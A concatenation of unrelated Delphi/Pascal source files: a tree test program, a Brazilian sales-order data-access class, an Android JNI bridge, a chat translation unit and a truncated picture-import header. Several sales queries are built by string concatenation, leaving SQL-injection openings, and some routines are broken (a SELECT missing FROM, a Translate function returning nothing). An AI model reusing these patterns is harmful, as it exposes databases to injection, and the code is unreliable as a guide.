count := count + CountValues(root^.left, x);
IF root^.right <> NIL then
count := count + CountValues(root^.right, x);
END;
CountValues := count;
END;
VAR
t: Tree;
BEGIN
InitTree(t);
AddValueToTree(t, 1);
AddValueToTree(t, 4);
AddValueToTree(t, 2);
AddValueToTree(t, 4);
AddValueToTree(t, 3);
AddValueToTree(t, 4);
DisplayTree(t);
WriteLn();
WriteLn(CountValues(t, 4));
// WriteLn(ContainsValue(t, 3));
// WriteLn(ContainsValue(t, 5));
// WriteLn(ContainsValue(t, 7));
// DisposeTree(t)
END.
// VAR
// t: Tree;
// BEGIN
// InitTree(t);
// DisplayTree(t);
// AddValueToTree(t, 3);
// AddValueToTree(t, 5);
// AddValueToTree(t, 8);
// DisplayTree(t);
// WriteLn(ContainsValue(t, 3));
// WriteLn(ContainsValue(t, 5));
// WriteLn(ContainsValue(t, 7));
// DisposeTree(t)
// END. |
unit PedidoVendaDAO;
interface
uses
Classes, DBXCommon, PedidoVenda, ItemPedidoVenda, SqlExpr, SysUtils,
EstoqueDAO, ClienteDAO, ProdutoDAO, FuncionarioDAO, Generics.Collections, ContaReceberDAO, ContaReceber;
type
{$MethodInfo ON}
TPedidoVendaDAO = class(TPersistent)
private
FComm: TDBXCommand;
EstoqueDAO: TEstoqueDAO;
ClienteDAO: TClienteDAO;
ProdutoDAO: TProdutoDAO;
FuncionarioDAO: TFuncionarioDAO;
procedure PrepareCommand;
public
function NextCodigo: string;
function Insert(PedidoVenda: TPedidoVenda): Boolean;
function Delete(CodigoPedidoVenda: string): Boolean;
function Update(PedidoVenda: TPedidoVenda): Boolean;
function InsertItemNoPedido(CodigoPedidoVenda: string; Item: TItemPedidoVenda): Boolean;
function DeleteItemDoPedido(CodigoProduto, CodigoPedidoVenda: string): Boolean;
function AtualizaItemDoPedido(CodigoPedidoVenda: string; Item: TItemPedidoVenda): Boolean;
function RelatorioPedidosVenda(DataInicial, DataFinal: TDateTime; TipoPagamento: Integer; ClienteCodigo: string): TDBXReader;
function VendasFechadas: TDBXReader;
function VendasAbertas: TDBXReader;
function Recibo(CodigoPedidoVenda: string): TDBXReader;
function FindByCodigo(Codigo: string): TPedidoVenda;
function CancelarVenda(CodigoPedidoVenda: string): Boolean;
constructor Create;
destructor Destroy; override;
end;
implementation
uses uSCPrincipal, StringUtils, CaixaDAO;
{ TPedidoVendaDAO }
function TPedidoVendaDAO.AtualizaItemDoPedido(CodigoPedidoVenda: string; Item: TItemPedidoVenda): Boolean;
var
query: TSQLQuery;
QuantidadeAnterior: Integer;
begin
query := TSQLQuery.Create(nil);
try
query.SQLConnection := SCPrincipal.ConnTopCommerce;
try
query.SQL.Text := 'SELECT QUANTIDADE FROM ITENS_PEDIDO_VENDA WHERE CODIGO_PEDIDO = :CODIGO_PEDIDO AND CODIGO_PRODUTO = :CODIGO_PRODUTO';
query.ParamByName('CODIGO_PEDIDO').AsString := CodigoPedidoVenda;
query.ParamByName('CODIGO_PRODUTO').AsString := Item.Produto.Codigo;
query.Open;
QuantidadeAnterior := query.FieldByName('QUANTIDADE').AsInteger;
query.Close;
query.SQL.Text := 'UPDATE ITENS_PEDIDO_VENDA SET QUANTIDADE = :QUANTIDADE '+
'WHERE CODIGO_PEDIDO = :CODIGO_PEDIDO AND CODIGO_PRODUTO = :CODIGO_PRODUTO';
query.ParamByName('CODIGO_PEDIDO').AsString := CodigoPedidoVenda;
query.ParamByName('CODIGO_PRODUTO').AsString := Item.Produto.Codigo;
query.ParamByName('QUANTIDADE').AsInteger := Item.Quantidade;
query.ExecSQL;
if QuantidadeAnterior > Item.Quantidade then
EstoqueDAO.AtualizaQuantidade(Item.Produto.Codigo, 'C', QuantidadeAnterior - Item.Quantidade)
else if QuantidadeAnterior < Item.Quantidade then
EstoqueDAO.AtualizaQuantidade(Item.Produto.Codigo, 'D', Item.Quantidade - QuantidadeAnterior);
Result := True;
except
Result := False;
end;
finally
query.Free;
end;
end;
function TPedidoVendaDAO.CancelarVenda(CodigoPedidoVenda: string): Boolean;
var
query: TSQLQuery;
begin
query := TSQLQuery.Create(nil);
try
query.SQLConnection := SCPrincipal.ConnTopCommerce;
try
query.SQL.Text := 'SELECT * FROM ITENS_PEDIDO_VENDA WHERE CODIGO_PEDIDO = :CODIGO_PEDIDO';
query.ParamByName('CODIGO_PEDIDO').AsString := CodigoPedidoVenda;
query.Open;
while not query.Eof do
begin
EstoqueDAO.AtualizaQuantidade(query.FieldByName('CODIGO_PRODUTO').AsString, 'C', query.FieldByName('QUANTIDADE').AsInteger);
query.Next;
end;
query.SQL.Text := 'UPDATE PEDIDOS_VENDA SET CANCELADA = 1 WHERE CODIGO = :CODIGO';
query.ParamByName('CODIGO').AsString := CodigoPedidoVenda;
query.ExecSQL;
Result := True;
except
Result := False;
end;
finally
query.Free;
end;
end;
constructor TPedidoVendaDAO.Create;
begin
EstoqueDAO := TEstoqueDAO.Create;
ClienteDAO := TClienteDAO.Create;
ProdutoDAO := TProdutoDAO.Create;
FuncionarioDAO := TFuncionarioDAO.Create;
end;
destructor TPedidoVendaDAO.Destroy;
begin
ProdutoDAO.Free;
ClienteDAO.Free;
EstoqueDAO.Free;
FuncionarioDAO.Free;
inherited;
end;
function TPedidoVendaDAO.FindByCodigo(Codigo: string): TPedidoVenda;
var
query: TSQLQuery;
pedido: TPedidoVenda;
item: TItemPedidoVenda;
begin
query := TSQLQuery.Create(nil);
try
query.SQLConnection := SCPrincipal.ConnTopCommerce;
query.SQL.Text := 'SELECT * FROM PEDIDOS_VENDA '+
'WHERE CODIGO = ''' + Codigo + '''';
query.Open;
pedido := TPedidoVenda.Create;
pedido.Codigo := query.FieldByName('CODIGO').AsString;
pedido.Data := query.FieldByName('DATA').AsDateTime;
pedido.Desconto := query.FieldByName('DESCONTO').AsCurrency;
pedido.DescontoPercentual := query.FieldByName('DESCONTO_PERCENTUAL').AsCurrency;
pedido.TipoPagamento := query.FieldByName('TIPO_PAGAMENTO').AsInteger;
if not query.FieldByName('CODIGO_CLIENTE').IsNull then
pedido.Cliente := ClienteDAO.FindByCodigo(query.FieldByName('CODIGO_CLIENTE').AsString);
if not query.FieldByName('FUNCIONARIO_CODIGO').IsNull then
pedido.Funcionario := FuncionarioDAO.FindByCodigo(query.FieldByName('FUNCIONARIO_CODIGO').AsString);
pedido.NomeClienteAvulso := query.FieldByName('NOME_CLIENTE_AVULSO').AsString;
pedido.Fechada := query.FieldByName('FECHADA').AsBoolean;
pedido.Total := query.FieldByName('TOTAL').AsCurrency;
pedido.Recebido := query.FieldByName('RECEBIDO').AsCurrency;
pedido.Troco := query.FieldByName('TROCO').AsCurrency;
pedido.Cancelada := query.FieldByName('CANCELADA').AsBoolean;
query.Close;
query.SQL.Text := 'SELECT * FROM ITENS_PEDIDO_VENDA WHERE CODIGO_PEDIDO = ''' + Codigo + '''';
query.Open;
pedido.Itens := TList<TItemPedidoVenda>.Create;
while not query.Eof do
begin
item := TItemPedidoVenda.Create;
item.Produto := ProdutoDAO.FindByCodigo(query.FieldByName('CODIGO_PRODUTO').AsString);
item.Quantidade := query.FieldByName('QUANTIDADE').AsInteger;
item.DescontoValor := query.FieldByName('DESCONTO_VALOR').AsCurrency;
item.DescontoPercentual := query.FieldByName('DESCONTO_PERCENTUAL').AsCurrency;
item.Valor := query.FieldByName('VALOR').AsCurrency;
pedido.Itens.Add(item);
query.Next;
end;
Result := pedido;
finally
query.Free;
end;
end;
procedure TPedidoVendaDAO.PrepareCommand;
begin
if not(Assigned(FComm)) then
begin
if not(SCPrincipal.ConnTopCommerce.Connected) then
SCPrincipal.ConnTopCommerce.Open;
FComm := SCPrincipal.ConnTopCommerce.DBXConnection.CreateCommand;
FComm.CommandType := TDBXCommandTypes.DbxSQL;
if not(FComm.IsPrepared) then
FComm.Prepare;
end;
end;
function TPedidoVendaDAO.Recibo(CodigoPedidoVenda: string): TDBXReader;
begin
PrepareCommand;
FComm.Text := 'SELECT V.CODIGO, V.DATA, V.DESCONTO, V.TIPO_PAGAMENTO, V.CODIGO_CLIENTE, '+
'V.NOME_CLIENTE_AVULSO, I.CODIGO_PRODUTO, I.QUANTIDADE, P.DESCRICAO, I.VALOR, C.NOME, '+
'V.DESCONTO_PERCENTUAL AS VENDA_DESCONTO_PERCENTUAL, V.TOTAL, V.RECEBIDO, V.TROCO, V.LOGIN_USUARIO, I.DESCONTO_VALOR AS ITEM_DESCONTO_VALOR, '+
'I.DESCONTO_PERCENTUAL AS ITEM_DESCONTO_PERCENTUAL, P.PRECO_VENDA '+
'FROM ITENS_PEDIDO_VENDA I '+
'INNER JOIN PRODUTOS P ON P.CODIGO = I.CODIGO_PRODUTO '+
'INNER JOIN PEDIDOS_VENDA V ON V.CODIGO = I.CODIGO_PEDIDO '+
'LEFT JOIN CLIENTES C ON C.CODIGO = V.CODIGO_CLIENTE '+
'WHERE V.CODIGO = '''+CodigoPedidoVenda+'''';
Result := FComm.ExecuteQuery;
end;
function TPedidoVendaDAO.RelatorioPedidosVenda(DataInicial, DataFinal: TDateTime; TipoPagamento: Integer; ClienteCodigo: string): TDBXReader;
begin
PrepareCommand;
FComm.Text := 'SELECT V.CODIGO, V.DATA, V.DESCONTO, V.TIPO_PAGAMENTO, V.CODIGO_CLIENTE, '+
'V.NOME_CLIENTE_AVULSO, I.CODIGO_PRODUTO, I.QUANTIDADE, P.DESCRICAO, I.VALOR, C.NOME, '+
'V.DESCONTO_PERCENTUAL AS VENDA_DESCONTO_PERCENTUAL, V.TOTAL, V.RECEBIDO, V.TROCO, V.LOGIN_USUARIO, I.DESCONTO_VALOR AS ITEM_DESCONTO_VALOR, '+
'I.DESCONTO_PERCENTUAL AS ITEM_DESCONTO_PERCENTUAL, P.PRECO_VENDA '+
'FROM PEDIDOS_VENDA V '+
'INNER JOIN ITENS_PEDIDO_VENDA I ON I.CODIGO_PEDIDO = V.CODIGO '+
'INNER JOIN PRODUTOS P ON P.CODIGO = I.CODIGO_PRODUTO '+
'LEFT JOIN CLIENTES C ON C.CODIGO = V.CODIGO_CLIENTE '+
'WHERE P.CODIGO <> '''' AND V.CANCELADA = 0 ';
if (DataInicial <> 0) then
FComm.Text := FComm.Text + 'AND CONVERT(CHAR(8), DATA, 112) >= '+FormatDateTime('yyyymmdd', DataInicial)+' ';
if (DataFinal <> 0) then
FComm.Text := FComm.Text + 'AND CONVERT(CHAR(8), DATA, 112) <= '+FormatDateTime('yyyymmdd', DataFinal)+' ';
if (TipoPagamento > 0) then
FComm.Text := FComm.Text + 'AND TIPO_PAGAMENTO = '+IntToStr(TipoPagamento-1); //TODO - Melhorar esse codigo
if (Trim(ClienteCodigo) <> '') then
FComm.Text := FComm.Text + 'AND CODIGO_CLIENTE = '''+ClienteCodigo+'''';
Result := FComm.ExecuteQuery;
end;
function TPedidoVendaDAO.Update(PedidoVenda: TPedidoVenda): Boolean;
var
query: TSQLQuery;
CaixaDao: TCaixaDAO;
ContaReceber: TContaReceber;
ContaReceberDao: TContaReceberDAO;
i: Integer;
Vencimento: TDateTime;
begin
query := TSQLQuery.Create(nil);
try
query.SQLConnection := SCPrincipal.ConnTopCommerce;
try
query.SQL.Text := 'UPDATE PEDIDOS_VENDA SET DESCONTO = :DESCONTO, TIPO_PAGAMENTO = :TIPO_PAGAMENTO, FECHADA = :FECHADA, DESCONTO_PERCENTUAL = :DESCONTO_PERCENTUAL, TOTAL = :TOTAL, CANCELADA = :CANCELADA, RECEBIDO = :RECEBIDO, TROCO = :TROCO WHERE CODIGO = :CODIGO';
query.ParamByName('CODIGO').AsString := PedidoVenda.Codigo;
query.ParamByName('DESCONTO').AsCurrency := PedidoVenda.Desconto;
query.ParamByName('TIPO_PAGAMENTO').AsInteger := PedidoVenda.TipoPagamento;
query.ParamByName('FECHADA').AsBoolean := PedidoVenda.Fechada;
query.ParamByName('DESCONTO_PERCENTUAL').AsCurrency := PedidoVenda.DescontoPercentual;
query.ParamByName('TOTAL').AsCurrency := PedidoVenda.Total;
query.ParamByName('CANCELADA').AsBoolean := PedidoVenda.Cancelada;
query.ParamByName('RECEBIDO').AsCurrency := PedidoVenda.Recebido;
query.ParamByName('TROCO').AsCurrency := PedidoVenda.Troco;
query.ExecSQL;
if PedidoVenda.Fechada then
begin
CaixaDao := TCaixaDAO.Create;
try
CaixaDao.RegistrarMovimentacao(1, PedidoVenda.Total, 1);
finally
CaixaDao.Free;
end;
// Gerar contas a receber quando crediario
if PedidoVenda.TipoPagamento = 1 then
begin
ContaReceberDao := TContaReceberDAO.Create;
try
Vencimento := PedidoVenda.PrimeiroVencimento;
for i := 1 to PedidoVenda.Parcelamento+1 do
begin
ContaReceber := TContaReceber.Create;
ContaReceber.Cliente := PedidoVenda.Cliente;
ContaReceber.NomeClienteAvulso := PedidoVenda.NomeClienteAvulso;
ContaReceber.Vencimento := Vencimento;
ContaReceber.Valor := PedidoVenda.ValorParcela;
ContaReceber.Observacoes := 'PARCELA '+IntToStr(i)+' DO PEDIDO DE VENDA'+PedidoVenda.Codigo;
ContaReceberDao.Insert(ContaReceber);
Vencimento := IncMonth(Vencimento);
end;
finally
ContaReceberDao.Free;
end;
end;
end;
Result := True;
except
Result := False;
end;
finally
query.Free;
end;
end;
function TPedidoVendaDAO.VendasAbertas: TDBXReader;
begin
PrepareCommand;
FComm.Text := 'SELECT V.CODIGO, V.DATA, C.NOME, V.NOME_CLIENTE_AVULSO, V.TOTAL '+
'FROM PEDIDOS_VENDA V '+
'LEFT JOIN CLIENTES C ON C.CODIGO = V.CODIGO_CLIENTE '+
'WHERE V.FECHADA = 0 AND V.CANCELADA = 0 '+
'ORDER BY V.DATA DESC';
Result := FComm.ExecuteQuery;
end;
function TPedidoVendaDAO.VendasFechadas: TDBXReader;
begin
PrepareCommand;
FComm.Text := 'SELECT V.CODIGO, V.DATA, C.NOME, V.NOME_CLIENTE_AVULSO, V.TOTAL '+
'FROM PEDIDOS_VENDA V '+
'LEFT JOIN CLIENTES C ON C.CODIGO = V.CODIGO_CLIENTE '+
'WHERE V.FECHADA = 1 AND V.CANCELADA = 0 '+
'ORDER BY V.DATA DESC';
Result := FComm.ExecuteQuery;
end;
function TPedidoVendaDAO.NextCodigo: string;
var
query: TSQLQuery;
begin
query := TSQLQuery.Create(nil);
try
query.SQLConnection := SCPrincipal.ConnTopCommerce;
query.SQL.Text := 'SELECT MAX(CODIGO) AS MAX_CODIGO FROM PEDIDOS_VENDA';
query.Open;
if query.FieldByName('MAX_CODIGO').IsNull then
Result := StrZero(1, 6)
else
Result := StrZero(query.FieldByName('MAX_CODIGO').AsInteger + 1, 6);
finally
query.Free;
end;
end;
function TPedidoVendaDAO.Insert(PedidoVenda: TPedidoVenda): Boolean;
var
query: TSQLQuery;
Item: TItemPedidoVenda;
begin
query := TSQLQuery.Create(nil);
try
query.SQLConnection := SCPrincipal.ConnTopCommerce;
try
query.SQL.Text := 'INSERT INTO PEDIDOS_VENDA (CODIGO, DATA, DESCONTO, TIPO_PAGAMENTO, FECHADA, DESCONTO_PERCENTUAL, TOTAL, CANCELADA, LOGIN_USUARIO, FUNCIONARIO_CODIGO';
if PedidoVenda.Cliente <> nil then
query.SQL.Text := query.SQL.Text + ', CODIGO_CLIENTE, NOME_CLIENTE_AVULSO) VALUES (:CODIGO, :DATA, :DESCONTO, :TIPO_PAGAMENTO, :FECHADA, :DESCONTO_PERCENTUAL, :TOTAL, :CANCELADA, :LOGIN_USUARIO, :FUNCIONARIO_CODIGO, :CODIGO_CLIENTE, :NOME_CLIENTE_AVULSO)'
else
query.SQL.Text := query.SQL.Text + ', NOME_CLIENTE_AVULSO) VALUES (:CODIGO, :DATA, :DESCONTO, :TIPO_PAGAMENTO, :FECHADA, :DESCONTO_PERCENTUAL, :TOTAL, :CANCELADA, :LOGIN_USUARIO, :FUNCIONARIO_CODIGO, :NOME_CLIENTE_AVULSO)';
query.ParamByName('CODIGO').AsString := PedidoVenda.Codigo;
query.ParamByName('DATA').AsDateTime := PedidoVenda.Data;
query.ParamByName('DESCONTO').AsCurrency := PedidoVenda.Desconto;
query.ParamByName('TIPO_PAGAMENTO').AsInteger := PedidoVenda.TipoPagamento;
query.ParamByName('FECHADA').AsBoolean := PedidoVenda.Fechada;
query.ParamByName('DESCONTO_PERCENTUAL').AsCurrency := PedidoVenda.DescontoPercentual;
query.ParamByName('TOTAL').AsCurrency := PedidoVenda.Total;
query.ParamByName('CANCELADA').AsBoolean := PedidoVenda.Cancelada;
query.ParamByName('LOGIN_USUARIO').AsString := PedidoVenda.LoginUsuario;
query.ParamByName('FUNCIONARIO_CODIGO').AsString := PedidoVenda.Funcionario.Codigo;
if PedidoVenda.Cliente <> nil then
query.ParamByName('CODIGO_CLIENTE').AsString := PedidoVenda.Cliente.Codigo;
query.ParamByName('NOME_CLIENTE_AVULSO').AsString := PedidoVenda.NomeClienteAvulso;
query.ExecSQL;
query.SQL.Text := 'INSERT INTO ITENS_PEDIDO_VENDA (CODIGO_PEDIDO, CODIGO_PRODUTO, QUANTIDADE) '+
'VALUES (:CODIGO_PEDIDO, :CODIGO_PRODUTO, :QUANTIDADE)';
for Item in PedidoVenda.Itens do
begin
query.ParamByName('CODIGO_PEDIDO').AsString := PedidoVenda.Codigo;
query.ParamByName('CODIGO_PRODUTO').AsString := Item.Produto.Codigo;
query.ParamByName('QUANTIDADE').AsInteger := Item.Quantidade;
query.ExecSQL;
EstoqueDAO.AtualizaQuantidade(Item.Produto.Codigo, 'D', Item.Quantidade);
end;
Result := True;
except
Result := False;
end;
finally
query.Free;
end;
end;
function TPedidoVendaDAO.Delete(CodigoPedidoVenda: string): Boolean;
var
query: TSQLQuery;
begin
query := TSQLQuery.Create(nil);
try
query.SQLConnection := SCPrincipal.ConnTopCommerce;
try
query.SQL.Text := 'SELECT * ITENS_PEDIDO_VENDA WHERE CODIGO_PEDIDO = :CODIGO_PEDIDO';
query.ParamByName('CODIGO_PEDIDO').AsString := CodigoPedidoVenda;
query.Open;
query.First;
while not(query.Eof) do
begin
EstoqueDAO.AtualizaQuantidade(query.FieldByName('CODIGO_PRODUTO').AsString, 'C', query.FieldByName('QUANTIDADE').AsInteger);
query.Next;
end;
query.SQL.Text := 'DELETE FROM ITENS_PEDIDO_VENDA WHERE CODIGO_PEDIDO = :CODIGO_PEDIDO';
query.ParamByName('CODIGO_PEDIDO').AsString := CodigoPedidoVenda;
query.ExecSQL;
query.SQL.Text := 'DELETE FROM PEDIDOS_VENDA WHERE CODIGO = :CODIGO';
query.ParamByName('CODIGO').AsString := CodigoPedidoVenda;
query.ExecSQL;
Result := True;
except
Result := False;
end;
finally
query.Free;
end;
end;
function TPedidoVendaDAO.InsertItemNoPedido(CodigoPedidoVenda: string; Item: TItemPedidoVenda): Boolean;
var
query: TSQLQuery;
begin
query := TSQLQuery.Create(nil);
try
query.SQLConnection := SCPrincipal.ConnTopCommerce;
try
query.SQL.Text := 'INSERT INTO ITENS_PEDIDO_VENDA (CODIGO_PEDIDO, CODIGO_PRODUTO, QUANTIDADE, DESCONTO_VALOR, DESCONTO_PERCENTUAL, VALOR) '+
'VALUES (:CODIGO_PEDIDO, :CODIGO_PRODUTO, :QUANTIDADE, :DESCONTO_VALOR, :DESCONTO_PERCENTUAL, :VALOR)';
query.ParamByName('CODIGO_PEDIDO').AsString := CodigoPedidoVenda;
query.ParamByName('CODIGO_PRODUTO').AsString := Item.Produto.Codigo;
query.ParamByName('QUANTIDADE').AsInteger := Item.Quantidade;
query.ParamByName('DESCONTO_VALOR').AsCurrency := Item.DescontoValor;
query.ParamByName('DESCONTO_PERCENTUAl').AsCurrency := Item.DescontoPercentual;
query.ParamByName('VALOR').AsCurrency := Item.Valor;
query.ExecSQL;
EstoqueDAO.AtualizaQuantidade(Item.Produto.Codigo, 'D', Item.Quantidade);
Result := True;
except
Result := False;
end;
finally
query.Free;
end;
end;
function TPedidoVendaDAO.DeleteItemDoPedido(CodigoProduto, CodigoPedidoVenda: string): Boolean;
var
query: TSQLQuery;
begin
query := TSQLQuery.Create(nil);
try
query.SQLConnection := SCPrincipal.ConnTopCommerce;
try
query.SQL.Text := 'SELECT * FROM ITENS_PEDIDO_VENDA WHERE CODIGO_PEDIDO = :CODIGO_PEDIDO AND CODIGO_PRODUTO = :CODIGO_PRODUTO';
query.ParamByName('CODIGO_PEDIDO').AsString := CodigoPedidoVenda;
query.ParamByName('CODIGO_PRODUTO').AsString := CodigoProduto;
query.Open;
query.First;
EstoqueDAO.AtualizaQuantidade(query.FieldByName('CODIGO_PRODUTO').AsString, 'C', query.FieldByName('QUANTIDADE').AsInteger);
query.SQL.Text := 'DELETE FROM ITENS_PEDIDO_VENDA WHERE CODIGO_PEDIDO = :CODIGO_PEDIDO AND CODIGO_PRODUTO = :CODIGO_PRODUTO';
query.ParamByName('CODIGO_PEDIDO').AsString := CodigoPedidoVenda;
query.ParamByName('CODIGO_PRODUTO').AsString := CodigoProduto;
query.ExecSQL;
Result := True;
except
Result := False;
end;
finally
query.Free;
end;
end;
end.
|
unit VendasVO;
interface
//
//CREATE TABLE CLIENTE (
// ID INTEGER,
// NOME VARCHAR(50),
// ENDERECO VARCHAR(50),
// VALORTOTAL VARCHAR(50),
// TIPOOPERACAO VARCHAR(50),
// CODCFOB VARCHAR(50),
// SALDOANTERIOR VARCHAR(50),
// CODVEN1B VARCHAR(10),
// SALDOPOSTERIOR VARCHAR(20),
// EMAIL VARCHAR(50)
//);
type
TClienteVO = class
private
FIDBONI: Integer;
FCODCPGB: String;
FHISTORICOB: String;
FDATAVENDA: String;
FCODCFOB: String;
FCODVEN1B: String;
FVALORTOTAL: String;
FTIPOOPERACAO: String;
FSALDOANTERIOR: String;
FSALDOPOSTERIOR: String;
published
property IDBONI: Integer read FIDBONI write FIDBONI;
property CODCPGB: String read FCODCPGB write FCODCPGB;
property HISTORICOB: String read FHISTORICOB write FHISTORICOB;
property DATAVENDA: String read FDATAVENDA write FDATAVENDA;
property CODCFOB: String read FCODCFOB write FCODCFOB;
property CODVEN1B: String read FCODVEN1B write FCODVEN1B;
property VALORTOTAL: String read FVALORTOTAL write FVALORTOTAL;
property TIPOOPERACAO: String read FTIPOOPERACAO write FTIPOOPERACAO;
property SALDOANTERIOR: String read FSALDOANTERIOR write FSALDOANTERIOR;
property SALDOPOSTERIOR: String read FSALDOPOSTERIOR write FSALDOPOSTERIOR;
end;
implementation
end.
|
//
// Generated by JavaToPas v1.4 20140515 - 182936
////////////////////////////////////////////////////////////////////////////////
unit android.graphics.AvoidXfermode_Mode;
interface
uses
AndroidAPI.JNIBridge,
Androidapi.JNI.JavaTypes;
type
JAvoidXfermode_Mode = interface;
JAvoidXfermode_ModeClass = interface(JObjectClass)
['{E25EB96F-092B-4271-85B1-9A4BCA32CD5F}']
function _GetAVOID : JAvoidXfermode_Mode; cdecl; // A: $4019
function _GetTARGET : JAvoidXfermode_Mode; cdecl; // A: $4019
function valueOf(&name : JString) : JAvoidXfermode_Mode; cdecl; // (Ljava/lang/String;)Landroid/graphics/AvoidXfermode$Mode; A: $9
function values : TJavaArray<JAvoidXfermode_Mode>; cdecl; // ()[Landroid/graphics/AvoidXfermode$Mode; A: $9
property AVOID : JAvoidXfermode_Mode read _GetAVOID; // Landroid/graphics/AvoidXfermode$Mode; A: $4019
property TARGET : JAvoidXfermode_Mode read _GetTARGET; // Landroid/graphics/AvoidXfermode$Mode; A: $4019
end;
[JavaSignature('android/graphics/AvoidXfermode_Mode')]
JAvoidXfermode_Mode = interface(JObject)
['{DB854401-87FD-43AB-9DC7-3E369A132D44}']
end;
TJAvoidXfermode_Mode = class(TJavaGenericImport<JAvoidXfermode_ModeClass, JAvoidXfermode_Mode>)
end;
implementation
end.
|
unit DreamChatTranslater;
interface
uses Classes;
type
TDreamChatTranslaterIDs =
(
//[Form]
I_COMMONCHAT, //'Общий'
I_PRIVATE, //'Приват'
I_LINE, //'Линия'
I_MESSAGESBOARD, //Доска объявлений
I_MESSAGESBOARDUPDATE, //Обновлена доска объявлений
I_USERCONNECTED, //К нам приходит:
I_USERDISCONNECTED, //Нас покинул :
I_NOTANSWERING,
I_PRIVATEWITH, //Личный чат с
I_USERRENAME, //изменяет имя на
//[PopUpMenu]
I_CLOSE, //Закрыть
I_REFRESH, //Обновить
I_SAVELOG, //Сохранить лог
I_PRIVATEMESSAGE, //Личное сообщение
I_PRIVATEMESSAGETOALL, //Личное сообщение всем
I_CREATELINE, //Создать линию
I_TOTALIGNOR, //Игнорировать все сообщения
I_USERINFO, //О пользователе
I_COMETOPRIVATE, //Войти в приват
I_COMETOLINE, //Войти в линию
//[UserInfo]
I_DISPLAYNICKNAME,
I_NICKNAME,
I_IP,
I_COMPUTERNAME,
I_LOGIN,
I_CHATVER,
I_COMMDLLVER,
I_STATE,
//[NewLine]
I_INPUTPASSWORD,
I_COMING, //Войти
I_INPUTPASSANDLINENAME, //Введите название и пароль для новой линии:
I_CREATE,
I_NEWLINE,
I_CANCEL,
I_LINENAME,
I_PASSWORD,
//[MainPopUpMenu]
I_EXIT,
I_SEESHARE, //перейти к ресурсам компьютера
I_WRITENICKNAME //Написать имя внизу
);
TDreamChatTranslater = class
private
FStrings: TStrings;
function GetData(index: integer): string;
constructor Create;
destructor Destroy; override;
public
procedure Load(IniFileName: string);
property Data[index: integer]: string read GetData; default;
class function Translate(id: TDreamChatTranslaterIDs): string;
end;
implementation
uses IniFiles, SysUtils, DreamChatConfig, uPathBuilder;
{ TDreamChatStrings }
constructor TDreamChatTranslater.Create;
begin
inherited Create;
FStrings := TStringList.Create;
end;
destructor TDreamChatTranslater.Destroy;
begin
FreeAndNil(FStrings);
inherited Destroy;
end;
function TDreamChatTranslater.GetData(index: integer): string;
var
id: string;
begin
id := IntToStr(index);
Result := FStrings.Values[id];
if Result = '' //additionally check value names like '01' '02' etc
then Result := FStrings.Values['0'+ id];
if Result = '' //additionally check value names like '001' '002' etc
then Result := FStrings.Values['00'+ id];
end;
procedure TDreamChatTranslater.Load(IniFileName: string);
var
MemIniStrings: TMemIniFile;
//i, i_end: integer;
begin
MemIniStrings := TMemIniFile.Create(IniFileName);
//CurrLang := ExePath + ChatConfig.ReadString(TDreamChatConfig.Common {'Common'}, TDreamChatConfig.Language {'Language'}, 'Languages\English.lng');
MemIniStrings.ReadSection('Strings', FStrings);
{ i_end := Section.Count - 1;
for i := 0 to i_end do
begin
FStrings.Add(MemIniStrings.ReadString('Strings', InttoStr(i + 10), ''));//Strings
//EInternational.Add(MemIniStrings.ReadString('ErrorStrings', InttoStr(i + 10), ''));
end;}
end;
var
instance: TDreamChatTranslater = nil;
class function TDreamChatTranslater.Translate(id: TDreamChatTranslaterIDs): string;
begin
if instance = nil then begin
instance := TDreamChatTranslater.Create();
// instance.Load(TPathBuilder.GetExePath() + ChatConfig.ReadString(TDreamChatConfig.Common {'Common'}, TDreamChatConfig.Language {'Language'}, 'Languages\English.lng'););
end;
end;
end.
|
unit uThreadImportPictures;
interface
uses
Generics.Collections,
System.Classes,
System.SysUtils,
System.Math,
System.Win.ComObj,
Winapi.Windows,
Winapi.ActiveX,
Vcl.Forms,
Dmitry.Utils.System,
Dmitry.Utils.Files,
Dmitry.PathProviders,
Dmitry.PathProviders.FileSystem,
uPathUtils,
uFormMoveFilesProgress,
uCounters,
uMemoryEx,
uMemory,
uPortableDeviceUtils,
uConstants,
uLogger,
uPortableClasses,
uExplorerPortableDeviceProvider,
uTranslate,
uTranslateUtils,
uAssociations,
uImportPicturesUtils,
uSettings,
uDBThread,
uDBContext,
uCollectionUtils,
uDatabaseDirectoriesUpdater;
type
TFileOperationTask = class
private
{ Private declarations }
FIsDirectory: Boolean;
FSource: TPathItem;
FDestination: TPathItem;
public
function Copy: TFileOperationTask;
constructor Create(ASource, ADestination: TPathItem);
destructor Destroy; override;
property Source: TPathItem read FSource;
property Destination: TPathItem read FDestination;
property IsDirectory: Boolean read FIsDirectory;
end;
TImportPicturesTask = class
private
{ Private declarations }
FOperationTasks: TList<TFileOperationTask>;
function GetOperationByIndex(Index: Integer): TFileOperationTask;
function GetOperationsCount: Integer;
public
constructor Create;
destructor Destroy; override;
procedure AddOperation(Operation: TFileOperationTask);
property OperationsCount: Integer read GetOperationsCount;
property Operations[Index: Integer]: TFileOperationTask read GetOperationByIndex;
end;
TImportPicturesOptions = class
private
{ Private declarations }
FTasks: TList<TImportPicturesTask>;
FOnlySupportedImages: Boolean;
FDeleteFilesAfterImport: Boolean;
FAddToCollection: Boolean;
FCaption: string;
FSource: TPathItem;
FDestination: TPathItem;
FDate: TDateTime;
FAutoSplit: Boolean;
FNamePattern: string;
FDBContext: IDBContext;
function GetCount: Integer;
function GetTaskByIndex(Index: Integer): TImportPicturesTask;
procedure SetSource(const Value: TPathItem);
procedure SetDestination(const Value: TPathItem);
public
constructor Create;
destructor Destroy; override;
procedure AddTask(Task: TImportPicturesTask);
property Source: TPathItem read FSource write SetSource;
property Destination: TPathItem read FDestination write SetDestination;
property OnlySupportedImages: Boolean read FOnlySupportedImages write FOnlySupportedImages;
property DeleteFilesAfterImport: Boolean read FDeleteFilesAfterImport write FDeleteFilesAfterImport;
property AddToCollection: Boolean read FAddToCollection write FAddToCollection;
property NamePattern: string read FNamePattern write FNamePattern;
property Caption: string read FCaption write FCaption;
property Date: TDateTime read FDate write FDate;
property TasksCount: Integer read GetCount;
property Tasks[Index: Integer]: TImportPicturesTask read GetTaskByIndex;
property AutoSplit: Boolean read FAutoSplit write FAutoSplit;
property DBContext: IDBContext read FDBContext write FDBContext;
end;
TThreadImportPictures = class(TDBThread)
private
{ Private declarations }
FOptions: TImportPicturesOptions;
FProgress: TFormMoveFilesProgress;
FSpeedCounter: TSpeedEstimateCounter;
FTotalBytes: Int64;
FBytesCopyed: Int64;
